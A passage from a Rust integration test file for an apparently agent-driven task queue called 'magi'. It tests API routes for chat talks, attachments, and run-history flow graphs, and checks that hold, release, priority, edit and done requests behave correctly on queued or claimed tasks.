9136 assert_eq!(turns[0]["who"], "operator");
9137 assert_eq!(turns[0]["body"], "");
9138 let atts = turns[0]["attachments"]
9139 .as_array()
9140 .expect("attachments array");
9141 assert_eq!(atts.len(), 1);
9142 assert_eq!(atts[0]["id"], att_id);
9143 assert_eq!(atts[0]["mime"], "image/png");
9144
9145 let on_disk = f.talks().get(&id).expect("get");
9148 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9149 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9150 }
9151
9152 #[tokio::test]
9153 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9154 let f = Fixture::start().await;
9155 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9156
9157 let res = f
9158 .post(
9159 &format!("/api/talks/{id}/say"),
9160 Some(&format!(
9161 r#"{{"text":"hi","attachments":["{}"]}}"#,
9162 "a".repeat(32)
9163 )),
9164 )
9165 .await;
9166 assert!((400..500).contains(&res.status), "{}", res.body);
9167 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9168
9169 let on_disk = f.talks().get(&id).expect("get");
9170 assert!(
9171 on_disk.turns.is_empty(),
9172 "a rejected attachment id must not partially record the turn: {:?}",
9173 on_disk.turns
9174 );
9175 }
9176
9177 #[tokio::test]
9178 async fn talk_close_makes_the_talk_refuse_further_turns() {
9179 let f = Fixture::start().await;
9180 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9181
9182 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9183 assert_eq!(closed.status, 200, "{}", closed.body);
9184 assert_eq!(closed.json()["status"], "closed");
9185
9186 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9188 assert_eq!(closed_again.status, 200);
9189 assert_eq!(closed_again.json()["status"], "closed");
9190
9191 let said = f
9192 .post(
9193 &format!("/api/talks/{id}/say"),
9194 Some(r#"{"text":"too late"}"#),
9195 )
9196 .await;
9197 assert_eq!(said.status, 409, "{}", said.body);
9198 }
9199
9200 #[tokio::test]
9201 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9202 let (_tmp, _repo, f) = talk_fixture().await;
9203 let id = f.post("/api/talks", None).await.json()["id"]
9204 .as_str()
9205 .expect("id")
9206 .to_owned();
9207 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9208 assert_eq!(closed.status, 200, "{}", closed.body);
9209
9210 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9211 assert_eq!(reopened.status, 200, "{}", reopened.body);
9212 assert_eq!(reopened.json()["status"], "open");
9213
9214 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9216 assert_eq!(reopened_again.status, 200);
9217 assert_eq!(reopened_again.json()["status"], "open");
9218
9219 let said = f
9220 .post(
9221 &format!("/api/talks/{id}/say"),
9222 Some(r#"{"text":"still there?"}"#),
9223 )
9224 .await;
9225 assert_eq!(
9226 said.status, 202,
9227 "a reopened talk accepts turns again: {}",
9228 said.body
9229 );
9230 }
9231
9232 #[tokio::test]
9233 async fn talk_reopen_on_an_unknown_id_is_404() {
9234 let f = Fixture::start().await;
9235 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9236 assert_eq!(res.status, 404, "{}", res.body);
9237 }
9238
9239 #[tokio::test]
9240 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9241 let f = Fixture::start().await;
9242 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9243
9244 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9245 assert_eq!(deleted.status, 204, "{}", deleted.body);
9246
9247 let after = f.get(&format!("/api/talks/{id}")).await;
9248 assert_eq!(after.status, 404, "{}", after.body);
9249
9250 let listed = f.get("/api/talks").await.json();
9251 assert!(
9252 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9253 "a deleted talk must not linger in the list: {listed}"
9254 );
9255 }
9256
9257 #[tokio::test]
9258 async fn talk_delete_on_an_unknown_id_is_404() {
9259 let f = Fixture::start().await;
9260 let res = f.delete("/api/talks/nonexistent-id").await;
9261 assert_eq!(res.status, 404, "{}", res.body);
9262 }
9263
9264 #[tokio::test]
9268 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9269 let f = Fixture::start().await;
9270 let (a, b, gone) = (
9271 "20260902-140501-aaaa",
9272 "20260902-140502-bbbb",
9273 "20260902-140503-cccc",
9274 );
9275 write_run(&f.runs(), a, RunStatus::Stalled);
9276 let mut review = RunState::new(
9277 PathBuf::from("/repo/magi"),
9278 "main".to_owned(),
9279 "0123456789abcdef".to_owned(),
9280 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9281 .to_owned(),
9282 Config::default(),
9283 );
9284 review.id = b.to_owned();
9285 review.status = RunStatus::Merged;
9286 write_state(&f.runs(), &review);
9287
9288 let mut task = Task::new(
9289 "retry".to_owned(),
9290 "Do the thing".to_owned(),
9291 PathBuf::from("/repo/magi"),
9292 Source::Human,
9293 );
9294 task.start(a.to_owned());
9295 task.stall("quota");
9296 task.start(a.to_owned());
9297 task.start(b.to_owned());
9298 task.start(gone.to_owned());
9299 f.queue().put(&mut task).expect("file the task");
9300
9301 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9302 assert_eq!(res.status, 200, "{}", res.body);
9303 let v = res.json();
9304 let h = v["history"].as_array().expect("history");
9305 assert_eq!(h.len(), 4, "{v}");
9306 assert_eq!(h[0]["kind"], "competition");
9307 assert_eq!(h[0]["status"], "stalled");
9308 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9309 assert_eq!(h[1]["kind"], "resume", "{v}");
9310 assert!(
9311 h[0]["outcome"]
9312 .as_str()
9313 .unwrap()
9314 .contains("unknown. Pass #2"),
9315 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9316 );
9317 assert!(
9318 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9319 "{v}"
9320 );
9321 assert!(
9322 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9323 "an unrecorded cause must not be narrated as an operator park: {v}"
9324 );
9325 assert_eq!(h[2]["kind"], "review");
9326 assert!(
9327 h[2]["description"]
9328 .as_str()
9329 .unwrap()
9330 .contains("magi/aaaa/A")
9331 );
9332 assert_eq!(h[2]["status"], "merged");
9333 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9334 assert_eq!(v["runs_unreadable"], 1);
9335 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9336 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9337 assert_eq!(nodes[4]["note"], "unreadable");
9338 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9339 assert_eq!(v["instruction"], "Do the thing");
9340 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9341
9342 let run = f.get(&format!("/api/runs/{a}")).await.json();
9344 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9345
9346 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9347 }
9348
9349 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9350 let mut s = RunState::new(
9351 PathBuf::from("/repo/magi"),
9352 "main".to_owned(),
9353 "0123456789abcdef".to_owned(),
9354 "Do it".to_owned(),
9355 Config::default(),
9356 );
9357 s.status = status;
9358 edit(&mut s);
9359 s
9360 }
9361
9362 fn flow_task(runs: &[&str]) -> Task {
9363 let mut t = Task::new(
9364 "t".to_owned(),
9365 "Do it".to_owned(),
9366 PathBuf::from("/repo/magi"),
9367 Source::Human,
9368 );
9369 for r in runs {
9370 t.start((*r).to_owned());
9371 }
9372 t
9373 }
9374
9375 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9376 let h = task_history(task, |id| {
9377 states
9378 .iter()
9379 .find(|(i, _)| *i == id)
9380 .and_then(|(_, s)| s.clone())
9381 });
9382 task_flow(task, &h, 5)
9383 }
9384
9385 #[test]
9386 fn flow_opens_with_the_chat_that_queued_the_task() {
9387 let mut t = flow_task(&[]);
9388 t.source = Source::Agent {
9389 run: "a b/c".to_owned(),
9390 node: crate::queue::CHAT_NODE.to_owned(),
9391 };
9392 let f = flow_for(&t, &[]);
9393 assert_eq!(f.nodes[0].key, "chat");
9394 assert_eq!(f.nodes[0].kind, "chat");
9395 assert_eq!(
9396 f.nodes[0].label,
9397 format!("Chat {}", crate::queue::short("a b/c"))
9398 );
9399 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9400 assert_eq!(f.nodes[1].key, "start");
9401 assert_eq!(
9402 f.edges[0],
9403 FlowEdge {
9404 from: "chat".to_owned(),
9405 to: "start".to_owned(),
9406 label: "queued from chat".to_owned(),
9407 attempt: AttemptCost::None,
9408 }
9409 );
9410 }
9411
9412 #[test]
9413 fn flow_has_no_chat_box_for_other_sources() {
9414 for source in [
9415 Source::Human,
9416 Source::Issue {
9417 number: 3,
9418 repo: "o/r".to_owned(),
9419 },
9420 Source::Agent {
9421 run: "20260904-014455-ab12".to_owned(),
9422 node: "implement".to_owned(),
9423 },
9424 ] {
9425 let mut t = flow_task(&[]);
9426 t.source = source;
9427 let f = flow_for(&t, &[]);
9428 assert_eq!(f.nodes[0].key, "start");
9429 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9430 assert!(f.edges.iter().all(|e| e.from != "chat"));
9431 }
9432 }
9433
9434 const FA: &str = "20260902-140501-aaaa";
9435 const FB: &str = "20260902-140502-bbbb";
9436
9437 #[test]
9438 fn flow_follows_blocked_retry_merged_to_done() {
9439 let mut t = flow_task(&[FA, FB]);
9440 t.status = TaskStatus::Done;
9441 let f = flow_for(
9442 &t,
9443 &[
9444 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9445 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9446 ],
9447 );
9448 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9449 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9450 assert_eq!(f.edges.len(), 3);
9451 assert_eq!(f.edges[0].label, "claimed");
9452 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9453 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9454 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9455 assert_eq!(
9456 f.nodes[2].href.as_deref(),
9457 Some("#/runs/20260902-140502-bbbb")
9458 );
9459 assert!(f.nodes[2].decided);
9460 }
9461
9462 #[test]
9463 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9464 let quota = || {
9465 flow_run(RunStatus::Stalled, |s| {
9466 s.quota.push(crate::run::QuotaLoss {
9467 seat: "judge-1".to_owned(),
9468 node: "judge".to_owned(),
9469 at: Timestamp::now(),
9470 reset: None,
9471 })
9472 })
9473 };
9474 let mut t = flow_task(&[FA, FA]);
9475 t.status = TaskStatus::Queued;
9476 let f = flow_for(&t, &[(FA, Some(quota()))]);
9477 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9478 assert_eq!(f.nodes[1].note, Some("interrupted"));
9479 assert_eq!(
9480 f.nodes[1].status, None,
9481 "no outcome copied onto an earlier pass"
9482 );
9483 assert_eq!(
9484 f.edges[1].attempt,
9485 AttemptCost::Unknown,
9486 "a resume does not prove the earlier pass was refunded"
9487 );
9488 assert!(f.edges[1].label.contains("resume the same run"));
9489 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9490 assert_eq!(
9491 f.edges[2].label,
9492 "stalled after a resume, refund unknown \u{2192} queued"
9493 );
9494 assert!(!f.nodes[2].decided, "a stall is not a decision");
9495 assert_eq!(f.nodes[2].note, Some("no verdict"));
9496 }
9497
9498 #[test]
9499 fn flow_single_pass_quota_stall_is_refunded() {
9500 let t = flow_task(&[FA]);
9501 let f = flow_for(
9502 &t,
9503 &[(
9504 FA,
9505 Some(flow_run(RunStatus::Stalled, |s| {
9506 s.quota.push(crate::run::QuotaLoss {
9507 seat: "judge-1".to_owned(),
9508 node: "judge".to_owned(),
9509 at: Timestamp::now(),
9510 reset: None,
9511 })
9512 })),
9513 )],
9514 );
9515 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9516 }
9517
9518 #[test]
9519 fn flow_parked_refunds_and_stall_without_quota_spends() {
9520 let mut t = flow_task(&[FA]);
9521 t.status = TaskStatus::Queued;
9522 let f = flow_for(
9523 &t,
9524 &[(
9525 FA,
9526 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9527 )],
9528 );
9529 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9530 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9531 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9532 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9533 assert!(!f.nodes[1].decided);
9534 }
9535
9536 #[test]
9537 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9538 let t = flow_task(&[FA, FB]);
9539 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9540 assert_eq!(f.nodes[1].note, Some("unreadable"));
9541 assert!(!f.nodes[1].readable);
9542 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9543 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9544 }
9545
9546 #[test]
9547 fn flow_names_the_branch_of_a_review_only_run() {
9548 let t = flow_task(&[FA]);
9549 let f = flow_for(
9550 &t,
9551 &[(
9552 FA,
9553 Some(flow_run(RunStatus::Merged, |s| {
9554 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9555 })),
9556 )],
9557 );
9558 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9559 assert_eq!(
9560 f.nodes[1].detail.as_deref(),
9561 Some("review-only run of branch magi/x/A")
9562 );
9563 }
9564
9565 #[test]
9566 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9567 let mut t = flow_task(&[FA]);
9568 t.status = TaskStatus::Held;
9569 let pr = crate::run::PrRecord {
9570 url: "https://example.test/pr/1".to_owned(),
9571 number: 1,
9572 state: "open".to_owned(),
9573 checks: "green".to_owned(),
9574 round: 0,
9575 rounds: 3,
9576 red_at_merge: Vec::new(),
9577 };
9578 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9579 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9580 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9581 t.status = TaskStatus::Done;
9582 let f = flow_for(&t, &[(FA, Some(blocked))]);
9583 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9584 }
9585
9586 #[test]
9587 fn flow_with_no_runs_goes_from_queued_to_queued() {
9588 let t = flow_task(&[]);
9589 let f = flow_for(&t, &[]);
9590 assert_eq!(f.nodes.len(), 2);
9591 assert_eq!(f.edges.len(), 1);
9592 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9593 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9594 }
9595
9596 #[test]
9599 fn a_parked_non_terminal_run_is_explained_as_parked() {
9600 let mut s = RunState::new(
9601 PathBuf::from("/repo/magi"),
9602 "main".to_owned(),
9603 "0123456789abcdef".to_owned(),
9604 "Do it".to_owned(),
9605 Config::default(),
9606 );
9607 s.status = RunStatus::Implementing;
9608 s.parked = true;
9609 let task = Task::new(
9610 "t".to_owned(),
9611 "Do it".to_owned(),
9612 PathBuf::from("/repo/magi"),
9613 Source::Human,
9614 );
9615 let v = task_run_view(
9616 "20260902-140501-aaaa",
9617 Some(&s),
9618 RunSlot {
9619 n: 1,
9620 resumed: false,
9621 resumed_later: None,
9622 prior: None,
9623 last: true,
9624 },
9625 &task,
9626 );
9627 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9628 }
9629
9630 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9631 let mut s = flow_run(RunStatus::Implementing, edit);
9632 s.parked = false;
9633 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9634 task_run_view(
9635 "20260902-140501-aaaa",
9636 Some(&s),
9637 RunSlot {
9638 n: 1,
9639 resumed: false,
9640 resumed_later: Some(2),
9641 prior: None,
9642 last: false,
9643 },
9644 &task,
9645 )
9646 }
9647
9648 #[test]
9649 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9650 let v = earlier_pass_view(|_| {});
9651 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9652 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9653 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9654 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9655 assert_eq!(v.exit, RunExit::Interrupted);
9656 assert_eq!(v.attempt, AttemptCost::Unknown);
9657 }
9658
9659 #[test]
9660 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9661 let v = earlier_pass_view(|s| {
9662 s.quota.push(crate::run::QuotaLoss {
9663 seat: "judge-1".to_owned(),
9664 node: "judge".to_owned(),
9665 at: Timestamp::now(),
9666 reset: None,
9667 });
9668 });
9669 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9670 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9671 assert_eq!(v.attempt, AttemptCost::Unknown);
9672 }
9673
9674 #[test]
9675 fn the_current_pass_states_its_recorded_cause_and_cost() {
9676 let slot = || RunSlot {
9677 n: 1,
9678 resumed: false,
9679 resumed_later: None,
9680 prior: None,
9681 last: true,
9682 };
9683 let task = flow_task(&["20260902-140501-aaaa"]);
9684 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9685 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9686 assert_eq!(
9687 (v.exit, v.attempt),
9688 (RunExit::Parked, AttemptCost::Refunded)
9689 );
9690 let spent = flow_run(RunStatus::Blocked, |_| {});
9691 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9692 assert_eq!(v.attempt, AttemptCost::Spent);
9693 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9694 }
9695
9696 #[tokio::test]
9697 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9698 let f = Fixture::start().await;
9699 let queue = f.queue();
9700 let mut task = Task::new(
9701 "spent".to_owned(),
9702 "Try again".to_owned(),
9703 PathBuf::from("/repo/magi"),
9704 Source::Human,
9705 );
9706 task.start("20260902-140502-bbbb".to_owned());
9707 task.fail("agent gave up", 9);
9708 queue.put(&mut task).expect("file the task");
9709
9710 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9711 assert_eq!(held.status, 200);
9712 assert_eq!(held.json()["status_str"], "held");
9713
9714 let released = f
9715 .post(&format!("/api/queue/{}/release", task.id), None)
9716 .await;
9717 assert_eq!(released.status, 200);
9718 assert_eq!(released.json()["status_str"], "queued");
9719 assert_eq!(
9720 released.json()["attempts"],
9721 0,
9722 "release is a real second chance, not an instant re-hold"
9723 );
9724 assert_eq!(
9725 queue.get(&task.id).expect("reload").status,
9726 TaskStatus::Queued,
9727 "the change is on disk, not only in the reply"
9728 );
9729 assert!(
9730 !f.home
9731 .path()
9732 .join("queue")
9733 .join(format!("{}.lock", task.id))
9734 .exists(),
9735 "the claim the mutation took is released again"
9736 );
9737 }
9738
9739 #[tokio::test]
9740 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9741 let f = Fixture::start().await;
9742 let queue = f.queue();
9743 let mut task = Task::new(
9744 "busy".to_owned(),
9745 "Running right now".to_owned(),
9746 PathBuf::from("/repo/magi"),
9747 Source::Human,
9748 );
9749 queue.put(&mut task).expect("file the task");
9750 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9751
9752 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9753
9754 assert_eq!(res.status, 409);
9755 assert_eq!(
9756 queue.get(&task.id).expect("reload").status,
9757 TaskStatus::Queued,
9758 "the refused hold changed nothing"
9759 );
9760 }
9761
9762 #[tokio::test]
9763 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9764 let f = Fixture::start().await;
9765 let queue = f.queue();
9766 let mut task = Task::new(
9767 "waiting on the migration".to_owned(),
9768 "Do the thing".to_owned(),
9769 PathBuf::from("/repo/magi"),
9770 Source::Human,
9771 );
9772 queue.put(&mut task).expect("file the task");
9773
9774 let held = f
9775 .post(
9776 &format!("/api/queue/{}/hold", task.id),
9777 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9778 )
9779 .await;
9780 assert_eq!(held.status, 200, "{}", held.body);
9781 assert_eq!(held.json()["status_str"], "held");
9782 assert_eq!(
9783 held.json()["hold_reason"],
9784 "waiting for 20260101-000000-aaaa to land"
9785 );
9786
9787 let listed = f.get("/api/queue").await.json();
9788 assert_eq!(
9789 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9790 "the card reads the reason off the same list route"
9791 );
9792
9793 let mut plain = Task::new(
9796 "no reason given".to_owned(),
9797 "Do another thing".to_owned(),
9798 PathBuf::from("/repo/magi"),
9799 Source::Human,
9800 );
9801 queue.put(&mut plain).expect("file the task");
9802 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9803 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9804 assert!(held_plain.json()["hold_reason"].is_null());
9805
9806 let released = f
9807 .post(&format!("/api/queue/{}/release", task.id), None)
9808 .await;
9809 assert_eq!(released.status, 200);
9810 assert!(
9811 released.json()["hold_reason"].is_null(),
9812 "a release must clear the reason so the next hold does not inherit it"
9813 );
9814 }
9815
9816 #[tokio::test]
9817 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9818 let f = Fixture::start().await;
9819 let queue = f.queue();
9820 let mut older = Task::new(
9821 "filed first".to_owned(),
9822 "x".to_owned(),
9823 PathBuf::from("/repo/magi"),
9824 Source::Human,
9825 );
9826 older.id = "20260101-000001-aaaa".to_owned();
9827 let mut newer = Task::new(
9828 "filed second".to_owned(),
9829 "x".to_owned(),
9830 PathBuf::from("/repo/magi"),
9831 Source::Human,
9832 );
9833 newer.id = "20260101-000002-bbbb".to_owned();
9834 queue.put(&mut older).expect("file older");
9835 queue.put(&mut newer).expect("file newer");
9836
9837 let before = f.get("/api/queue").await.json();
9840 assert_eq!(before[0]["id"], newer.id);
9841 assert_eq!(before[1]["id"], older.id);
9842
9843 let raised = f
9847 .post(
9848 &format!("/api/queue/{}/priority", older.id),
9849 Some(r#"{"priority":10}"#),
9850 )
9851 .await;
9852 assert_eq!(raised.status, 200, "{}", raised.body);
9853 assert_eq!(raised.json()["priority"], 10);
9854
9855 let after = f.get("/api/queue").await.json();
9856 let names: Vec<&str> = after
9857 .as_array()
9858 .unwrap()
9859 .iter()
9860 .map(|t| t["id"].as_str().unwrap())
9861 .collect();
9862 assert_eq!(names[0], older.id, "the raised task now sorts first");
9866 }
9867
9868 #[tokio::test]
9869 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9870 let f = Fixture::start().await;
9871 let queue = f.queue();
9872 let mut task = Task::new(
9873 "in flight".to_owned(),
9874 "x".to_owned(),
9875 PathBuf::from("/repo/magi"),
9876 Source::Human,
9877 );
9878 task.start("20260902-140502-bbbb".to_owned());
9879 queue.put(&mut task).expect("file the task");
9880
9881 let res = f
9882 .post(
9883 &format!("/api/queue/{}/priority", task.id),
9884 Some(r#"{"priority":9}"#),
9885 )
9886 .await;
9887 assert_eq!(res.status, 400, "{}", res.body);
9888 assert!(
9889 res.json()["error"]
9890 .as_str()
9891 .is_some_and(|e| e.contains("running")),
9892 "{}",
9893 res.body
9894 );
9895 assert_eq!(
9896 queue.get(&task.id).expect("reload").priority,
9897 0,
9898 "the refused write must not partially apply"
9899 );
9900 }
9901
9902 #[tokio::test]
9903 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9904 let f = Fixture::start().await;
9905 let queue = f.queue();
9906 let mut task = Task::new(
9907 "old title".to_owned(),
9908 "old instruction".to_owned(),
9909 PathBuf::from("/repo/magi"),
9910 Source::Agent {
9911 run: "20260101-000000-beef".to_owned(),
9912 node: "implement".to_owned(),
9913 },
9914 );
9915 task.runs.push("20260101-000000-beef".to_owned());
9916 queue.put(&mut task).expect("file the task");
9917 let created_at = task.created_at;
9918
9919 let edited = f
9920 .post(
9921 &format!("/api/queue/{}/edit", task.id),
9922 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9923 )
9924 .await;
9925 assert_eq!(edited.status, 200, "{}", edited.body);
9926 let body = edited.json();
9927 assert_eq!(body["title"], "new title");
9928 assert_eq!(body["instruction"], "new instruction");
9929 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9930 assert_eq!(body["created_at"], created_at.to_string());
9931 assert_eq!(
9932 body["source"]["kind"], "agent",
9933 "editing a task an agent filed must not turn it human: {body}"
9934 );
9935 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9936
9937 let reloaded = queue.get(&task.id).expect("reload");
9938 assert_eq!(reloaded.title, "new title");
9939 assert_eq!(reloaded.instruction, "new instruction");
9940 }
9941
9942 #[tokio::test]
9943 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9944 let tmp = TempDir::new().expect("tempdir");
9947 let repo = tmp.path().join("repo");
9948 std::fs::create_dir_all(&repo).expect("repo dir");
9949 let judge = MOCK_AGENT_TOML.replace(
9950 "printf ok",
9951 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
9952 );
9953 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
9954 let f = Fixture::with_repo(repo.clone()).await;
9955 let queue = f.queue();
9956 let mut owner = Task::new(
9957 "owner".to_owned(),
9958 "review it".to_owned(),
9959 repo.clone(),
9960 Source::Human,
9961 );
9962 owner.review_branch = Some("magi/ab12/A".to_owned());
9963 queue.put(&mut owner).expect("file the owner");
9964 let mut task = Task::new(
9965 "draft".to_owned(),
9966 "old".to_owned(),
9967 repo.clone(),
9968 Source::Human,
9969 );
9970 queue.put(&mut task).expect("file the draft");
9971 let url = format!("/api/queue/{}/edit", task.id);
9972
9973 let refused = f
9974 .post(
9975 &url,
9976 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9977 )
9978 .await;
9979 assert_eq!(refused.status, 409, "{}", refused.body);
9980 let msg = refused.json()["error"]
9981 .as_str()
9982 .unwrap_or_default()
9983 .to_owned();
9984 assert!(
9985 msg.contains("magi/ab12/A") && msg.contains("force"),
9986 "{msg}"
9987 );
9988 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9989
9990 let forced = f
9991 .post(
9992 &url,
9993 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9994 )
9995 .await;
9996 assert_eq!(forced.status, 200, "{}", forced.body);
9997 }
9998
9999 #[tokio::test]
10000 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10001 let f = Fixture::start().await;
10002 let queue = f.queue();
10003 let mut task = Task::new(
10004 "in flight".to_owned(),
10005 "do not touch".to_owned(),
10006 PathBuf::from("/repo/magi"),
10007 Source::Human,
10008 );
10009 task.start("20260902-140502-bbbb".to_owned());
10010 queue.put(&mut task).expect("file the task");
10011
10012 let res = f
10013 .post(
10014 &format!("/api/queue/{}/edit", task.id),
10015 Some(r#"{"title":"x","instruction":"y"}"#),
10016 )
10017 .await;
10018 assert_eq!(res.status, 400, "{}", res.body);
10019 assert!(
10020 res.json()["error"]
10021 .as_str()
10022 .is_some_and(|e| e.contains("running")),
10023 "{}",
10024 res.body
10025 );
10026 assert_eq!(
10027 queue.get(&task.id).expect("reload").instruction,
10028 "do not touch",
10029 "the refused edit must not change the file"
10030 );
10031 }
10032
10033 #[tokio::test]
10034 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10035 let f = Fixture::start().await;
10036 let queue = f.queue();
10037 let mut task = Task::new(
10038 "busy".to_owned(),
10039 "Running right now".to_owned(),
10040 PathBuf::from("/repo/magi"),
10041 Source::Human,
10042 );
10043 queue.put(&mut task).expect("file the task");
10044 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10045
10046 let priority = f
10047 .post(
10048 &format!("/api/queue/{}/priority", task.id),
10049 Some(r#"{"priority":9}"#),
10050 )
10051 .await;
10052 assert_eq!(priority.status, 409, "{}", priority.body);
10053
10054 let edit = f
10055 .post(
10056 &format!("/api/queue/{}/edit", task.id),
10057 Some(r#"{"title":"x","instruction":"y"}"#),
10058 )
10059 .await;
10060 assert_eq!(edit.status, 409, "{}", edit.body);
10061 }
10062
10063 #[tokio::test]
10064 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10065 let f = Fixture::start().await;
10066 let queue = f.queue();
10067 let mut task = Task::new(
10068 "shipped by hand".to_owned(),
10069 "merged outside the loop".to_owned(),
10070 PathBuf::from("/repo/magi"),
10071 Source::Agent {
10072 run: "20260101-000000-b455".to_owned(),
10073 node: "implement".to_owned(),
10074 },
10075 );
10076 task.runs.push("20260101-000000-b455".to_owned());
10077 task.runs.push("20260101-000000-9af4".to_owned());
10078 queue.put(&mut task).expect("file the task");
10079 let created_at = task.created_at;
10080
10081 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10082 assert_eq!(done.status, 200, "{}", done.body);
10083 assert_eq!(done.json()["status_str"], "done");
10084
10085 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10086 assert_eq!(
10087 reloaded.runs,
10088 ["20260101-000000-b455", "20260101-000000-9af4"]
10089 );
10090 assert_eq!(
10091 reloaded.source,
10092 Source::Agent {
